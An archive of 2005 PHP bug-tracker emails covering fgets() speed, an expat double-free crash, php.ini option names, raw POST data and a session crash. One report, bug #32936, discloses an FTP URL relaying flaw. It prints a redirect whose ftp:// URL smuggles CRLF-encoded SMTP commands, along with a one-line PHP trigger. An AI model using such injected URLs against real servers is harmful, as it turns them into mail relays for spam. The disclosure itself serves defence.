Can you try your tests with the fwrite() line commented out?



[2005-04-28 07:30:31] peoned at yahoo dot com

I did an 
`echo strlen($line).,;` 
Here are the lengths for some of the first few lines:
42,7,18,11,71,13,8,7,42,7,20,11,73,70,68,63,13,8,7

It looks pretty much like this for the rest of the file. Lines between
1 and 100 chars in length.

Note: It isn't the start up cost for sure because I measured the time
just around the while loop with the same results.



[2005-04-28 04:37:03] [EMAIL PROTECTED]

How long are the lines in your file?



[2005-04-28 01:58:55] [EMAIL PROTECTED]

Startup costs could be 8 seconds or more depending on the extensions
you are loading. That said PHP's fgets() is still slower then Perl's
because of it's implementation that does not wrap the C library fgets()
or getline(), but rather uses custom code.



[2005-04-24 20:20:54] peoned at yahoo dot com

I don't agree that this is a bogus bug. You want to tell me that the
start up cost is responsible for 8 seconds? Than you have a performance
bug with your start up cost. Run it with fread($fin, 1024); where did
the start up cost go? Simplifying the script to while($line =
fgets($fin)){} doesn't help either. And automatic detection of new
lines is disabled. Did you run some of your own tests?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32806

-- 
Edit this bug report at http://bugs.php.net/?id=32806edit=1


#32494 [Com]: crash when using expat in a class

2005-05-04 Thread rmartins at dcc dot online dot pt
 ID:   32494
 Comment by:   rmartins at dcc dot online dot pt
 Reported By:  evert at rooftopsolutions dot nl
 Status:   Verified
 Bug Type: XML related
 Operating System: Linux glibc 2.3.4
 PHP Version:  4CVS-2005-03-30
 New Comment:

Try freeing the parser via xml_parser_free()

Ricardo Martins


Previous Comments:


[2005-03-30 23:44:59] [EMAIL PROTECTED]

It happens with the bundled expat library too..




[2005-03-30 17:11:36] evert at rooftopsolutions dot nl

My configure line, thanx your help! I need to wait for the stable
versions for updates. if you know a workaround, please let me know :)

'./configure' '--prefix=/usr' '--disable-static'
'--with-apxs=/usr/sbin/apxs' '--sysconfdir=/etc'
'--enable-discard-path' '--with-config-file-path=/etc/apache'
'--enable-safe-mode' '--with-openssl' '--with-mhash' '--enable-bcmath'
'--with-bz2' '--with-pic' '--enable-calendar' '--enable-ctype'
'--with-gdbm' '--with-db3' '--with-imap-ssl=/usr/local/lib/c-client'
'--with-imap=/usr/local/lib/c-client' '--enable-dbase' '--enable-ftp'
'--with-iconv' '--with-exif' '--enable-exif' '--with-gd'
'--enable-gd-native-ttf' '--with-jpeg-dir=/usr' '--with-png'
'--with-gmp' '--with-mysql=shared,/usr' '--with-gettext=shared,/usr'
'--with-expat-dir=/usr' '--with-xml' '--enable-wddx' '--with-mm=/usr'
'--enable-trans-sid' '--enable-shmop' '--enable-sockets'
'--with-regex=php' '--enable-sysvsem' '--enable-sysvshm' '--enable-yp'
'--enable-memory-limit' '--with-tsrm-pthreads' '--enable-shared'
'--disable-debug' '--with-zlib=/usr'



[2005-03-30 07:56:29] [EMAIL PROTECTED]

I can reproduce this when using external expat library.
What was the configure line you used for PHP?




[2005-03-30 02:05:33] evert at rooftopsolutions dot nl

Description:

My PHP crashes when using expat functions in a class.
My scripts opens the 'test' file, but it doesn't matter if it exists or
not.

Right now I'm unable to check this with the latest cvs, but I did test
this on multiple servers running 4.3.10

Reproduce code:
---
?

 class sParser {


   function onStartElement($parser,$name,$attribs) {

   return false;

   }

   function onEndElement($parser,$name) {

   return false;

   }

   function onCDATA($parser,$data) {

   return false;

   }

   function onProcessInstruction($parser,$target,$data) {

   return false;

   }


   function onXMLError($line,$errorcode,$errorstring) {

   return false;

   }


   function xmlparse($data) {

   $this-parser = xml_parser_create('UTF-8');
  
xml_parser_set_option($this-parser,XML_OPTION_CASE_FOLDING,false);
   xml_set_element_handler($this-parser,array($this,
'onStartElement'),array($this,'onEndElement'));
  
xml_set_character_data_handler($this-parser,array($this,'onCDATA'));
  
xml_set_processing_instruction_handler($this-parser,array($this,'onProcessInstruction'));
   if (!xml_parse($this-parser,$data)) {
  
$this-onXMLError(xml_get_current_line_number($this-parser),
xml_get_error_code($this-parser),
xml_error_string(xml_get_error_code($
this-parser)));
   return false;
   } else return $this-parsedData;

   }

   function execute($data) {

   return $this-xmlparse($data);

   }

 }

 $disp = new sParser();

 $disp-execute(file_get_contents('test'));


? 

Expected result:

No errors

Actual result:
--
PHP Crash

my apache logs says:

[Tue Mar 29 07:07:25 2005] [notice] child pid 9106 exit signal Aborted
(6)
*** glibc detected *** double free or corruption (!prev): 0x08205058
***






-- 
Edit this bug report at http://bugs.php.net/?id=32494edit=1


#32494 [Ver]: crash when using expat in a class

2005-05-04 Thread evert at rooftopsolutions dot nl
 ID:   32494
 User updated by:  evert at rooftopsolutions dot nl
 Reported By:  evert at rooftopsolutions dot nl
 Status:   Verified
 Bug Type: XML related
 Operating System: Linux glibc 2.3.4
 PHP Version:  4CVS-2005-03-30
 New Comment:

Thank you rmartins!!!


Previous Comments:


[2005-05-05 00:10:43] rmartins at dcc dot online dot pt

Try freeing the parser via xml_parser_free()

Ricardo Martins



[2005-03-30 23:44:59] [EMAIL PROTECTED]

It happens with the bundled expat library too..




[2005-03-30 17:11:36] evert at rooftopsolutions dot nl

My configure line, thanx your help! I need to wait for the stable
versions for updates. if you know a workaround, please let me know :)

'./configure' '--prefix=/usr' '--disable-static'
'--with-apxs=/usr/sbin/apxs' '--sysconfdir=/etc'
'--enable-discard-path' '--with-config-file-path=/etc/apache'
'--enable-safe-mode' '--with-openssl' '--with-mhash' '--enable-bcmath'
'--with-bz2' '--with-pic' '--enable-calendar' '--enable-ctype'
'--with-gdbm' '--with-db3' '--with-imap-ssl=/usr/local/lib/c-client'
'--with-imap=/usr/local/lib/c-client' '--enable-dbase' '--enable-ftp'
'--with-iconv' '--with-exif' '--enable-exif' '--with-gd'
'--enable-gd-native-ttf' '--with-jpeg-dir=/usr' '--with-png'
'--with-gmp' '--with-mysql=shared,/usr' '--with-gettext=shared,/usr'
'--with-expat-dir=/usr' '--with-xml' '--enable-wddx' '--with-mm=/usr'
'--enable-trans-sid' '--enable-shmop' '--enable-sockets'
'--with-regex=php' '--enable-sysvsem' '--enable-sysvshm' '--enable-yp'
'--enable-memory-limit' '--with-tsrm-pthreads' '--enable-shared'
'--disable-debug' '--with-zlib=/usr'



[2005-03-30 07:56:29] [EMAIL PROTECTED]

I can reproduce this when using external expat library.
What was the configure line you used for PHP?




[2005-03-30 02:05:33] evert at rooftopsolutions dot nl

Description:

My PHP crashes when using expat functions in a class.
My scripts opens the 'test' file, but it doesn't matter if it exists or
not.

Right now I'm unable to check this with the latest cvs, but I did test
this on multiple servers running 4.3.10

Reproduce code:
---
?

 class sParser {


   function onStartElement($parser,$name,$attribs) {

   return false;

   }

   function onEndElement($parser,$name) {

   return false;

   }

   function onCDATA($parser,$data) {

   return false;

   }

   function onProcessInstruction($parser,$target,$data) {

   return false;

   }


   function onXMLError($line,$errorcode,$errorstring) {

   return false;

   }


   function xmlparse($data) {

   $this-parser = xml_parser_create('UTF-8');
  
xml_parser_set_option($this-parser,XML_OPTION_CASE_FOLDING,false);
   xml_set_element_handler($this-parser,array($this,
'onStartElement'),array($this,'onEndElement'));
  
xml_set_character_data_handler($this-parser,array($this,'onCDATA'));
  
xml_set_processing_instruction_handler($this-parser,array($this,'onProcessInstruction'));
   if (!xml_parse($this-parser,$data)) {
  
$this-onXMLError(xml_get_current_line_number($this-parser),
xml_get_error_code($this-parser),
xml_error_string(xml_get_error_code($
this-parser)));
   return false;
   } else return $this-parsedData;

   }

   function execute($data) {

   return $this-xmlparse($data);

   }

 }

 $disp = new sParser();

 $disp-execute(file_get_contents('test'));


? 

Expected result:

No errors

Actual result:
--
PHP Crash

my apache logs says:

[Tue Mar 29 07:07:25 2005] [notice] child pid 9106 exit signal Aborted
(6)
*** glibc detected *** double free or corruption (!prev): 0x08205058
***






-- 
Edit this bug report at http://bugs.php.net/?id=32494edit=1


#32947 [NEW]: Incorrect option for mysqli default password

2005-05-04 Thread dave_jaffe at dell dot com
From: dave_jaffe at dell dot com
Operating system: RHEL3 AS
PHP version:  5.0.4
PHP Bug Type: PHP options/info functions
Bug description:  Incorrect option for mysqli default password

Description:

the php.ini option mysqli.default_password, listed in
php.ini-recommended does not seem to have any effect but
mysqli.default_pw works.


-- 
Edit bug report at http://bugs.php.net/?id=32947edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32947r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32947r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32947r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32947r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32947r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32947r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32947r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32947r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32947r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32947r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32947r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32947r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32947r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32947r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32947r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32947r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32947r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32947r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32947r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32947r=mysqlcfg


#32948 [NEW]: $HTTP_RAW_POST_DATA is empty if form's enctype=multipart/form-data

2005-05-04 Thread chaz_meister_rock at yahoo dot com
From: chaz_meister_rock at yahoo dot com
Operating system: OSX 10.3.9
PHP version:  5.0.3
PHP Bug Type: HTTP related
Bug description:  $HTTP_RAW_POST_DATA is empty if form's 
enctype=multipart/form-data

Description:

$HTTP_RAW_POST_DATA is empty when using a form with
enctype=multipart/form-data set.

php.ini contains
always_populate_raw_post_data = On

this issue looks similar to:
http://bugs.php.net/bug.php?id=23765



Reproduce code:
---
?php
echo $HTTP_RAW_POST_DATA;
?
form enctype=multipart/form-data method=post
input type=text name=it value=groovy /
input type=file name=upFile /
input type=submit /
/form

Expected result:

it=groovyupFile=


Actual result:
--
Notice: Undefined index: HTTP_RAW_POST_DATA


-- 
Edit bug report at http://bugs.php.net/?id=32948edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32948r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32948r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32948r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32948r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32948r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32948r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32948r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32948r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32948r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32948r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32948r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32948r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32948r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32948r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32948r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32948r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32948r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32948r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32948r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32948r=mysqlcfg


#32936 [Opn-Asn]: FTP URL relaying vulnerability

2005-05-04 Thread pollita
 ID:   32936
 Updated by:   [EMAIL PROTECTED]
 Reported By:  herbert dot groot dot jebbink at gmail dot com
-Status:   Open
+Status:   Assigned
 Bug Type: FTP related
 Operating System: Linux
 PHP Version:  5.0.4
-Assigned To:  
+Assigned To:  pollita
 New Comment:

Interresting...


Previous Comments:


[2005-05-04 00:33:27] herbert dot groot dot jebbink at gmail dot com

Description:

See http://dsbl.org/relay-methods#FTPURL for more details.

A exploit can be found at http://dividedsky.net/gfx/badges

This URL gives the next result.

HTTP/1.x 302 Found
Date: Tue, 03 May 2005 21:43:41 GMT
Server: Apache/2.0.53 (Debian GNU/Linux) PHP/4.3.10-10
Content-Location: badges.php
Vary: negotiate
TCN: choice
X-Powered-By: PHP/4.3.10-10
Location:
ftp://foo%0D%0AMAIL%20FROM%3Alt;gt;%0D%0ARCPT%20TO%3Alt;listme%40listme.dsbl.orggt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AVv%2FcqZoUAlAyMb9O2R+Xu0YSwQNRN5DL%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:[EMAIL
 PROTECTED]:25/
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1


Reproduce code:
---
?php

  // DO NOT RUN THIS CODE

  // YOUR SERVER WILL BE LISTED ON DSBL.ORG

  // RESULTING IN POSSIBLE REJECTS OF YOUR EMAILS

  $check = getimagesize('http://dividedsky.net/gfx/badges') ;

?







-- 
Edit this bug report at http://bugs.php.net/?id=32936edit=1


#32949 [NEW]: crash at session_start()

2005-05-04 Thread artdesign at mail dot ru
From: artdesign at mail dot ru
Operating system: freebsd 4.9
PHP version:  4.3.11
PHP Bug Type: Session related
Bug description:  crash at session_start()

Description:

after update from 4.3.10 to 4.3.11

when using EACCELERATOR with apache, apache says:

 EACCELERATOR: PHP crashed on opline 329 of session_start() at ...

this is a big product ( www.bitrix.com ) that use session_start() many
times.

when no accelerator just crashes and send the not a full web page with
message in log:
[notice] child pid 65920 exit signal Bus error (10) 

php Configure Command
  './configure' '--enable-versioning' '--enable-memory-limit'
'--with-layout=GNU' '--with-config-file-scan-dir=/usr/local/etc/php'
'--with-zlib-dir=/usr' '--with-zlib=yes' '--disable-all'
'--with-regex=php' '--with-apxs=/usr/local/sbin/apxs' '--disable-ipv6'
'--prefix=/usr/local' 'i386-portbld-freebsd4.9'  


Reproduce code:
---
session_start() 

Expected result:

apache crashes


-- 
Edit bug report at http://bugs.php.net/?id=32949edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32949r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32949r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32949r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32949r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32949r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32949r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32949r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32949r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32949r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32949r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32949r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32949r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32949r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32949r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32949r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32949r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32949r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32949r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32949r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32949r=mysqlcfg